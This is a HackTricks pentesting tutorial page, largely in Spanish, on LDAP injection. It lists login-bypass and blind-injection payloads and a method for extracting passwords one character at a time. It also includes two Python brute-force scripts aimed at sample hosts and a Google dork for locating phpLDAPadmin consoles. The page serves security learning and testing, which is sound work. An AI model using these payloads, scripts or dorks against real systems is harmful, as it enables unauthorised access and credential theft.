LDAP Injection

LDAP Injection

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

LDAP Injection

LDAP

Si quieres saber qué es LDAP, accede a la siguiente página:

389, 636, 3268, 3269 - Pentesting LDAP

LDAP Injection es un ataque dirigido a aplicaciones web que construyen declaraciones LDAP a partir de la entrada del usuario. Ocurre cuando la aplicación no sanitiza adecuadamente la entrada, permitiendo a los atacantes manipular declaraciones LDAP a través de un proxy local, lo que puede llevar a acceso no autorizado o manipulación de datos.

{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
&#xNAN;(&) = Absoluto VERDADERO
&#xNAN;(|) = Absoluto FALSO

Por ejemplo:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

Puedes acceder a la base de datos, y esta puede contener información de muchos tipos diferentes.

OpenLDAP: Si llegan 2 filtros, solo ejecuta el primero.
ADAM o Microsoft LDS: Con 2 filtros lanzan un error.
SunOne Directory Server 5.0: Ejecuta ambos filtros.

Es muy importante enviar el filtro con la sintaxis correcta o se lanzará un error. Es mejor enviar solo 1 filtro.

El filtro debe comenzar con: & o |
Ejemplo: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Luego: (&(objectClass=*)(ObjectClass=*)) será el primer filtro (el que se ejecuta).

Login Bypass

LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, se hash.

bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Listas

Inyección LDAP Ciega

Puedes forzar respuestas Falsas o Verdaderas para verificar si se devuelve algún dato y confirmar una posible Inyección LDAP Ciega:

bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Volcar datos

Puedes iterar sobre las letras ASCII, dígitos y símbolos:

bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Descubrir campos LDAP válidos

Los objetos LDAP contienen por defecto varios atributos que podrían ser utilizados para guardar información. Puedes intentar forzar todos ellos para extraer esa información. Puedes encontrar una lista de atributos LDAP por defecto aquí.

python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Inyección LDAP Ciega Especial (sin "*")

python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

bash
intitle:"phpLDAPadmin" inurl:cmd.php

Más Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks